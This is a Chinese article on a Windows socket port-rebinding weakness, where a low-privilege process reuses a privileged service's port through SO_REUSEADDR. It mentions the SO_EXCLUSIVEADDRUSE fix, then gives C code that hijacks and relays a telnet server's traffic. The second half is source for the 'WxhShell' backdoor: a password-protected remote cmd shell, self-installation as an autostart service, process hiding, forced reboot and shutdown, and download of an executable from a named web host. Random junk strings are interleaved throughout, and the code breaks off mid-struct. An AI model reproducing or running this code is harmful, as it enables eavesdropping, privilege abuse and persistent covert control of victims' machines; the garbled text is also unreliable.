在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[zc8f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
I'a&n}jx x5"F`T>Y saddr.sin_family = AF_INET;
82A[[^` Nc[[o>/Cb saddr.sin_addr.s_addr = htonl(INADDR_ANY);
V;%DS)- : ?J0e4.] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
O
cJ(i#Q~< pjrzoMF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X2S:"0?7 H*V Z&{\7 这意味着什么?意味着可以进行如下的攻击:
>cRE$d? O[v(kH' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
I%gDqfdL ~Lf>/w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0VwmV_6'<W 7@l.ZECJ1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|"o/GUI~ 9#D?wR#J= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
VFjNrngl 3*;S%1C^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
L"ob))GF 8 CN~o|uN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ua
HB\Uc gaa;PX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#(f- cK @-H D9h #include
_tO:,%dL #include
XWNDpL`j5 #include
kNDN<L #include
A.>TD=Nz DWORD WINAPI ClientThread(LPVOID lpParam);
~
$QNp#dq int main()
aK4ZH}XHE" {
,!'L~{ WORD wVersionRequested;
|6y(7Ha DWORD ret;
o u*`~K|R WSADATA wsaData;
0
$_0T BOOL val;
cs6I
K6wo SOCKADDR_IN saddr;
<QZ X"" SOCKADDR_IN scaddr;
|\iJ6m;a int err;
)AoF-&,w SOCKET s;
_|qs-USA SOCKET sc;
:HTV 8;yc int caddsize;
Wi3St`$ HANDLE mt;
`-QY<STTP9 DWORD tid;
;0 No@G;z wVersionRequested = MAKEWORD( 2, 2 );
#mvOhu err = WSAStartup( wVersionRequested, &wsaData );
Wp0L!X=0
if ( err != 0 ) {
Rd^X. printf("error!WSAStartup failed!\n");
s!Y`1h{ return -1;
QGI_aU }
[23F0-p saddr.sin_family = AF_INET;
w=MiJr#3^ U{%N.4: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ZB@Bj>,bp /ig'p53jL saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q{*4BL' saddr.sin_port = htons(23);
w,qYT-R if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g Xi&
S {
)|SmB YV printf("error!socket failed!\n");
8R;A5o, return -1;
tH\ aHU[ }
="=Aac#n` val = TRUE;
}'.k //SO_REUSEADDR选项就是可以实现端口重绑定的
pcl'!8&7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
dX8N7{"[ {
]pi8%.d printf("error!setsockopt failed!\n");
r|W2I,P return -1;
5oP31 }
:2_8.+: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
yw3E$~ k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}jWZqIqj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
mx:) &1 X'W8 mqk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ck"lX[d1 {
`+>'18F ret=GetLastError();
+_h1JE_}D printf("error!bind failed!\n");
RHOEyXhOA return -1;
+o94w^'^$b }
vn0}l6n3s listen(s,2);
wf[B -2q) while(1)
bw\a\/Dw {
]IZn#gnM caddsize = sizeof(scaddr);
paG^W&`; //接受连接请求
sMhUVc4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Hve'Z,X if(sc!=INVALID_SOCKET)
$%ts#56* {
&&\HE7* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V7\@g if(mt==NULL)
D:yj#&I {
| ]DJz printf("Thread Creat Failed!\n");
=ZaTD-%id break;
j$TTLFK1 }
ckWK+ }
snW=9b)m CloseHandle(mt);
nn0`A3 }
@},25"x) closesocket(s);
uIO<6p) WSACleanup();
E>}(r%B return 0;
*b@YoQe3! }
{M.OOEcIp DWORD WINAPI ClientThread(LPVOID lpParam)
PDEeb.(. {
oJLpFL SOCKET ss = (SOCKET)lpParam;
/4}B}"`Sl= SOCKET sc;
P&s-U6 unsigned char buf[4096];
z!<X{&
e SOCKADDR_IN saddr;
*QIlh""6 long num;
]&dU%9S DWORD val;
&`RD5uml DWORD ret;
cen[|yCtOH //如果是隐藏端口应用的话,可以在此处加一些判断
M'n2 j //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
b3Uw"{p saddr.sin_family = AF_INET;
xxsax/h saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ds*N1[
* saddr.sin_port = htons(23);
x2m*0D~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Hj>(kL9H {
W@vt6v printf("error!socket failed!\n");
#c?xJ&bh return -1;
l.
9
i ` }
*" ("^_x\ val = 100;
*K<|E15 , if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ODbEL/ {
m=hlim;P, ret = GetLastError();
v|WT m# return -1;
[T(XwA) }
7H+IW4Ma if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?51Y&gOEZ {
!6R;fD#^s ret = GetLastError();
"zn<\z$l return -1;
* 7<{Xbsj^ }
0I`)<o- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5 +Ei!E89 {
us,!U printf("error!socket connect failed!\n");
/*zngp@ closesocket(sc);
)nK-39,G closesocket(ss);
I:ag}L8` return -1;
r}-si^fo; }
e#+u8 LrN while(1)
'\MYC8" {
N5yt'.d //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_ \d[`7# //如果是嗅探内容的话,可以再此处进行内容分析和记录
)tq&l>0h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_XO3ml\x@ num = recv(ss,buf,4096,0);
Mj
guH5Uy if(num>0)
JBYmy_Su send(sc,buf,num,0);
%z0;77[1 I else if(num==0)
2~*J<iO&l break;
xksd&X: num = recv(sc,buf,4096,0);
qPn}$1+~ if(num>0)
kkyi`_ZKn send(ss,buf,num,0);
6 cF~8 else if(num==0)
E=H>|FgS break;
Aa.eu=@I }
*t)Y@=k3> closesocket(ss);
J@Qt(rRxi closesocket(sc);
SWX[|sjdB return 0 ;
l8XgzaW }
va>u1S<lO 6/%dD DU [eWZ^Eh"I ==========================================================
VIXY?Ua a'[Ah2}3r< 下边附上一个代码,,WXhSHELL
vDeb?n Tuk::
.jD ==========================================================
qy9RYIfZ rwJCVkF #include "stdafx.h"
lR[]A K~C6dy
#include <stdio.h>
P1r)n{; #include <string.h>
vky@L! &, #include <windows.h>
D<16m<b #include <winsock2.h>
%OIJ. #include <winsvc.h>
7CK3t/3D #include <urlmon.h>
B$Z%_j& z154lY}K #pragma comment (lib, "Ws2_32.lib")
Z}8khNCYr #pragma comment (lib, "urlmon.lib")
y:m
;_U,%c z(8:7 G #define MAX_USER 100 // 最大客户端连接数
vuNt+ #define BUF_SOCK 200 // sock buffer
69 >- #define KEY_BUFF 255 // 输入 buffer
hR g?H /:+f5\"-b #define REBOOT 0 // 重启
fLtN-w6t #define SHUTDOWN 1 // 关机
vj_[LFE s U|\? pJ #define DEF_PORT 5000 // 监听端口
M_OvIU(E 5~pQ$- #define REG_LEN 16 // 注册表键长度
1 +0-VRl #define SVC_LEN 80 // NT服务名长度
>8*0"Q U
'$W$()p // 从dll定义API
HGwSsoS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Q{:5gh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
c*k%r2' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]T?Py) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8JFns-5 <Lt%[dn // wxhshell配置信息
]52.nxs~ struct WSCFG {
MJzY| int ws_port; // 监听端口
x$:P;# char ws_passstr[REG_LEN]; // 口令
-->~<o int ws_autoins; // 安装标记, 1=yes 0=no
g5YDRL!Wh char ws_regname[REG_LEN]; // 注册表键名
#80[q3 char ws_svcname[REG_LEN]; // 服务名
-lb,0 char ws_svcdisp[SVC_LEN]; // 服务显示名
5}+&Em": char ws_svcdesc[SVC_LEN]; // 服务描述信息
yMd<<:Ap char ws_passmsg[SVC_LEN]; // 密码输入提示信息
I<``d Ne9Q int ws_downexe; // 下载执行标记, 1=yes 0=no
9tMaOm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^%qe&Pe2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:pp@x*uNP Fuz'! };
+ n)_\@aQ !jySID?q // default Wxhshell configuration
ZNKopA(=|% struct WSCFG wscfg={DEF_PORT,
r*r3QsO "xuhuanlingzhe",
js$L<^7 1,
_, ki/7{ "Wxhshell",
xsO
"H8 "Wxhshell",
FJ/c(K "WxhShell Service",
-PG81F&K "Wrsky Windows CmdShell Service",
^D%hKIT "Please Input Your Password: ",
&tJ!cTA.- 1,
_<8~CWo: "
http://www.wrsky.com/wxhshell.exe",
qDVt "Wxhshell.exe"
@mJ#~@*( };
OpNxd]"T DO^J=e // 消息定义模块
38 -vt,| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ROWI.| char *msg_ws_prompt="\n\r? for help\n\r#>";
UA8*8%v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
FYLBaN char *msg_ws_ext="\n\rExit.";
UyUz_6J char *msg_ws_end="\n\rQuit.";
+wHrS}I#g char *msg_ws_boot="\n\rReboot...";
z{q|HO char *msg_ws_poff="\n\rShutdown...";
`xq/<U;i char *msg_ws_down="\n\rSave to ";
it#,5#Y: \ ";^nk* char *msg_ws_err="\n\rErr!";
gB)Cmw* char *msg_ws_ok="\n\rOK!";
k vQ]
}`a V#P`FX char ExeFile[MAX_PATH];
eVetG,[" int nUser = 0;
6z'3e\x HANDLE handles[MAX_USER];
SZ&I4- int OsIsNt;
7:S4 Ur hHsN(v SERVICE_STATUS serviceStatus;
X1C
&;5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
]_EJ "'x \,ko'48@ // 函数声明
B*3<(eI int Install(void);
( Ev=kO int Uninstall(void);
LK}*k/eG int DownloadFile(char *sURL, SOCKET wsh);
+@"Ls P int Boot(int flag);
_-R&A@ void HideProc(void);
? koIZ int GetOsVer(void);
Tp[-,3L int Wxhshell(SOCKET wsl);
O!U8"Yr$ void TalkWithClient(void *cs);
_pN:p7l( int CmdShell(SOCKET sock);
N fBH int StartFromService(void);
}HKt{k&$ int StartWxhshell(LPSTR lpCmdLine);
JGRL&MG4 sq45fRAi VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&*YFK/ ] VOID WINAPI NTServiceHandler( DWORD fdwControl );
>oGs0mej 4/?@ % // 数据结构和表定义
U(rY,4' SERVICE_TABLE_ENTRY DispatchTable[] =
=H_vRd {
5kx-s6`! {wscfg.ws_svcname, NTServiceMain},
M?ObK#l!_ {NULL, NULL}
%Ek!3t };
R8%%EEB {~"fq.h!M // 自我安装
AeR*79x int Install(void)
oWb\T
2!m {
L:_GpZ_ char svExeFile[MAX_PATH];
s|[CvjL#0 HKEY key;
E'cI} q strcpy(svExeFile,ExeFile);
oiTSpd- [aF"5G // 如果是win9x系统,修改注册表设为自启动
^iqy|zNtn if(!OsIsNt) {
^:u-wr8?{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0$B X8?Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5kik+ RegCloseKey(key);
=1+/`w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+:kMYL3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qO RL
7?{ RegCloseKey(key);
zhgvqg- return 0;
"8iIOeY-\ }
QJF_ " }
,}:}"cl }
`>Ms7G9S~e else {
@gnLY 2 -pv
& // 如果是NT以上系统,安装为系统服务
Tvl"KVGm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
x8o/m$[,=u if (schSCManager!=0)
G$[Hm\V {
GDQQ4-|O SC_HANDLE schService = CreateService
6&;h+;h (
#H]c/ schSCManager,
sQmJ3 (:HO wscfg.ws_svcname,
jx#9
wscfg.ws_svcdisp,
~~3*o SERVICE_ALL_ACCESS,
-
VdCj%r> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&EhOSu SERVICE_AUTO_START,
S.; ahce SERVICE_ERROR_NORMAL,
*Ksk1T+> svExeFile,
meYGIP:n NULL,
"^oU&]KQJ NULL,
&S39SV NULL,
=9;b|Y"aQ NULL,
>eWORf>7 NULL
.cz7jD
);
sD$K<nyz if (schService!=0)
K+|0~/0 {
hd W7Qck " CloseServiceHandle(schService);
X]_9g[V CloseServiceHandle(schSCManager);
Z>[n~{-,p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
p_i',5H( strcat(svExeFile,wscfg.ws_svcname);
Rh%A^j@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
m^ /s}WEqp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s_3a#I RegCloseKey(key);
PPde!}T$ return 0;
iD<}r?Z }
%@8#+#@J0 }
C@g/{?\ CloseServiceHandle(schSCManager);
q|
UO]V }
]*D~>q"#\ }
3G'cDemc ^iWJqpLe return 1;
g"N&*V2 }
P?@o? p)?6~\F: // 自我卸载
Js(MzL int Uninstall(void)
)"](?V
{
a1EQ.u
HKEY key;
w~3z); iO"ZtkeNr if(!OsIsNt) {
@O|`r(le if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:`c@&WF8 RegDeleteValue(key,wscfg.ws_regname);
U|b)Bw<P RegCloseKey(key);
<B'PB"R3y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$h[Q}uW RegDeleteValue(key,wscfg.ws_regname);
%pLqX61t= RegCloseKey(key);
TAq[g|N-; return 0;
4 ]ko }
E)|Bl> }
$wbIe"| }
@k\,XV`T~t else {
qfRrX" [
~kS) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z*IW*f&0>1 if (schSCManager!=0)
yyGn< {
LP/SblE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5=b6B=\*~ if (schService!=0)
^V7)V)Z;0 {
1~E;@eK' if(DeleteService(schService)!=0) {
GiKhdy CloseServiceHandle(schService);
S4rm K& CloseServiceHandle(schSCManager);
ZG?e% return 0;
\Y`psSf+ }
ce*?crOV CloseServiceHandle(schService);
+:W? :\ }
|XMWi/p CloseServiceHandle(schSCManager);
etQS&YzC }
DR]4Tc z# }
"rVM23@
tq h>p,r\X return 1;
PR*EyM[T }
c7R&/JV .EvP%A
m // 从指定url下载文件
c[$i )\0 int DownloadFile(char *sURL, SOCKET wsh)
*1T~ruNqa {
,@I\'os HRESULT hr;
@!|h!p; char seps[]= "/";
$`R=Q char *token;
!)}D_9{ char *file;
@Y<fj^]k char myURL[MAX_PATH];
d,Oe3?][0p char myFILE[MAX_PATH];
=h|7bYLy R]RLy#j strcpy(myURL,sURL);
WI.+9$1:P token=strtok(myURL,seps);
;bL?uL while(token!=NULL)
ad52a3deR {
= )4bf"~8 file=token;
"{3MXAFe token=strtok(NULL,seps);
o{ccO29H/ }
P7REE_<1 i8DYC=r GetCurrentDirectory(MAX_PATH,myFILE);
L`fT;2 strcat(myFILE, "\\");
"{d[V(lE" strcat(myFILE, file);
5HTY ~&C send(wsh,myFILE,strlen(myFILE),0);
uKB V`I send(wsh,"...",3,0);
85Kf>z::c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F5M{`:/ if(hr==S_OK)
KXUJ*l-5 return 0;
Mko,((>I1 else
&4)PW\ioY return 1;
pK'D(t (C%qA<6 }
84s:cO y+izC+ // 系统电源模块
! \5)!B int Boot(int flag)
jO`L:D/C {
P(3$XMx HANDLE hToken;
C\|HN=2eh TOKEN_PRIVILEGES tkp;
nE:Wl =,&{ &m) if(OsIsNt) {
G {a;s-OA3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2%MS$Fto LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
akwS;|SZ tkp.PrivilegeCount = 1;
v{8r46Y~Z) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/)rv Ndn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k_Lv\'Ok if(flag==REBOOT) {
SL<EZn0F9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
pwF])uf*{\ return 0;
ENf(E9O }
-&QpQ7q1 else {
NI C.c3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
9Dyy&$s return 0;
t3!~=U }
~$7YEs) }
0f;|0siTAm else {
u0$}VO5/a if(flag==REBOOT) {
VY0-18 o if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-or)NE
return 0;
'47E8PIJ| }
ffaMF~+ else {
j'UWgwB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!T}R=;)eh return 0;
*4l6+#W }
e C&!yY2g }
K=dG-+B~} $tK/3 return 1;
W@~a#~1O }
\JNWL yw #O7phjzgD // win9x进程隐藏模块
@j%7tfW void HideProc(void)
xI~ c~KC {
"b`3 mrlhj8W?! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
x![ut if ( hKernel != NULL )
E FBvi {
F5\{` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^YEMR C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<h`}I3Ao FreeLibrary(hKernel);
=z}M(<G }
5J3K3 t\\<+^[% return;
Qr~yHFc1y }
^K^rl9 A.<M*[{q // 获取操作系统版本
>a: 6umY int GetOsVer(void)
z~;@Mo"*f {
+@\=v}:
F OSVERSIONINFO winfo;
"}<baz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
P_M!h~ GetVersionEx(&winfo);
Sqla+L* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{%X[Snv return 1;
M|7{ZE`Y else
OL623jQX return 0;
O{=@c96rl }
XZ|\|(6Cc {.r9l // 客户端句柄模块
H8!lSRq int Wxhshell(SOCKET wsl)
8`q"] BQN {
'^.3}N{Fo SOCKET wsh;
oCB#i~|>a struct sockaddr_in client;
w5a;ts_x DWORD myID;
<@qJsRbhK gq+#=!(2 while(nUser<MAX_USER)
1xU)nXXb {
W1O Y}2kj int nSize=sizeof(client);
EL9JM}%0v wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&"X1w $ if(wsh==INVALID_SOCKET) return 1;
ES[]A&tf tSaD=# v handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1(
]{tF if(handles[nUser]==0)
H(Ad"1~.# closesocket(wsh);
_(KzjOMt else
J8DKia|h( nUser++;
smuQ1.b }
b yJ[1UK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z-`4DlJUS 8|rlP return 0;
7*47mJyc }
}kk[lvhJ 3:gF4(. // 关闭 socket
0y/P void CloseIt(SOCKET wsh)
iM{cr&0 {
<;NxmO<%\ closesocket(wsh);
!]#;' nUser--;
E1|:t$>Ld ExitThread(0);
r5uX?^mJ0 }
. Kk'N DcZ,a E] // 客户端请求句柄
a.SxMF void TalkWithClient(void *cs)
e41r!od {
<*djtO wUmcA~3D SOCKET wsh=(SOCKET)cs;
x c$jG?83# char pwd[SVC_LEN];
wmit>69S char cmd[KEY_BUFF];
m?`$NJST char chr[1];
r7*'s int i,j;
_Ns_$_ 6$p6dmV| while (nUser < MAX_USER) {
M}9PicI?7 v?S3G-r if(wscfg.ws_passstr) {
4-q8:5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7]8apei| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(EOYJHZB! //ZeroMemory(pwd,KEY_BUFF);
Gv6#LcF# i=0;
oo!JAv}~ while(i<SVC_LEN) {
[L>AU;
: /3d6Og // 设置超时
?,*KA Gg% fd_set FdRead;
ef
-PlGn struct timeval TimeOut;
qjLFgsd FD_ZERO(&FdRead);
[u/W h+ FD_SET(wsh,&FdRead);
fMRMQR=6B TimeOut.tv_sec=8;
UjS,<>fm TimeOut.tv_usec=0;
/@K1"/fqH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
o,=dm@j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
')j@OO3 5=P*<Dnj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(rjv3=9\3 pwd
=chr[0]; {8J+Y}
if(chr[0]==0xd || chr[0]==0xa) { ^9oJuT!tu
pwd=0; o$,e#q)8
break; GhY MO6Q4
} l%MIna/Tp
i++; jftf]n&Z(q
} u/X1v-2
0I[3%Q {
// 如果是非法用户,关闭 socket Lz}mz-N
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N
uq/y=
} 7bx!A+, t
%x|0<@b7-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IHNl`\Le
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 47
9yG/+\
N(L?F):fT
while(1) { )zq sn
" IC0v9
ZeroMemory(cmd,KEY_BUFF); <I^Tug\M+
_w49@9?
// 自动支持客户端 telnet标准 b)@b63P_
j=0; p ^Dm w0y
while(j<KEY_BUFF) { w:o,mzuXK
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vrvOPLiQ
cmd[j]=chr[0]; f;%\4TH?
if(chr[0]==0xa || chr[0]==0xd) { #N `Z)}Jm
cmd[j]=0; @ (LEuYq}
break; 8hm|9
} 5j-?Uf
j++; bupDnTF
} :LBRyBV
aak[U;rx
// 下载文件 E=8$*YUW(g
if(strstr(cmd,"http://")) { [78^:q-/0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); uOprA`3
if(DownloadFile(cmd,wsh)) j43-YdCJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @j?)uJ0Q
else o"@GYc["
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t5jZ8&M5]
} fkK42*U@r
else { \Dr?}D
".T&nS[z
switch(cmd[0]) { h;2n2.Q
A>W8^|l6+-
// 帮助 p1(<F_Kta
case '?': { rP7f~"L
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @b"J FB|
break; %oqC5O6
} 6$*ZH*
// 安装 v6`TbIq%
case 'i': { #&ZwQw
if(Install()) 8.4+4Vxh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \*k}RKDwT
else eNw9"X}g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @XFy^?
break; QIZbAnn_
} Id;YIycXe
// 卸载 l|p
\8=
case 'r': { ?:XbZ"25pJ
if(Uninstall()) "OO"Ab{t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o$+"{3svw?
else x*2' I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !/Wp0E'A
break; 6Cd% @Q2cr
} S,~DA3
// 显示 wxhshell 所在路径 0413K_
case 'p': { MC&sM-/
char svExeFile[MAX_PATH]; ;OynkZs)
strcpy(svExeFile,"\n\r"); *%wfR7G[B
strcat(svExeFile,ExeFile); j=~c(
B
send(wsh,svExeFile,strlen(svExeFile),0); 3G)Wmmh"a
break; XF 8$D
} YFY$iN~B,
// 重启 ({_Dg43O'[
case 'b': { ?E:L6,a
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 98AX=%8
if(Boot(REBOOT)) N]6M4j!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K}p!W"!o
else { &E&e5(&$
closesocket(wsh); 8Qt'Y9|
ExitThread(0); cy-Bhk0H
} {@8TGHKv
break; '8b/TL
} 4PzCm k
// 关机
B1!b@0^
case 'd': { 0kdPr:B Q0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N?mTAF'M
if(Boot(SHUTDOWN)) UBy<
vwnU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PtT=HvP!k
else { sHSD`mYq
closesocket(wsh); LCMCpEtY*K
ExitThread(0); 3A(sT}
} }+1Y>W7q
break; &hb:~>
} Ow\dk^\-G8
// 获取shell ZH<:YOQ
case 's': { )|?s!rw +
CmdShell(wsh); O8drR4Pt
closesocket(wsh); SuU_psF
ExitThread(0); zrg#BXj7
break; _b8?_Zq
} 5_MqpCL
// 退出 M{ mdh\
case 'x': { QXcSDJ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0[qU k(=}[
CloseIt(wsh); s;'jn_,0
break; |_^A$Hv
} MWxv\o
// 离开 Mr3;B+S
case 'q': { ,#FK3;U
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }bxW@(bs
closesocket(wsh); 0*F{=X~L
WSACleanup(); c[~LI<>ic
exit(1); }(/")i4h
break; vxRy7:G"
} ^6E+l#
} ?zD?-
} {T0f]]}Q
K9YD)351t
// 提示信息 i,Q{Z@,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ymxYE#q
} m.}Yn,
} 5g{F-
:bhpYEUMx
return; ^K#PcPF-j
} 9{;cp?\)M
B4 cm_YGE
// shell模块句柄 "|6#n34
int CmdShell(SOCKET sock) U?}>A5H
{ w,t>M_(N
STARTUPINFO si; q@}eYQ=P|e
ZeroMemory(&si,sizeof(si)); !e}LB%zf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .1[[Y}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _'yN4>=6u
PROCESS_INFORMATION ProcessInfo; RiY9[ec2
char cmdline[]="cmd"; AI|8E8h+D
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o6PDCaT7
return 0; oP$l( k
} J4Ix\r_
c<`Z[EY(t
// 自身启动模式 -Tw96 dv
int StartFromService(void) gdu8O!9)
{ TfYXF`d
typedef struct K9#=@}!3L
{ ]+SVQ|v0
DWORD ExitStatus; /=5YHq>
DWORD PebBaseAddress; I'_u4
DWORD AffinityMask; lAxbF
DWORD BasePriority; 0
s-IW
ULONG UniqueProcessId; r
pv`%
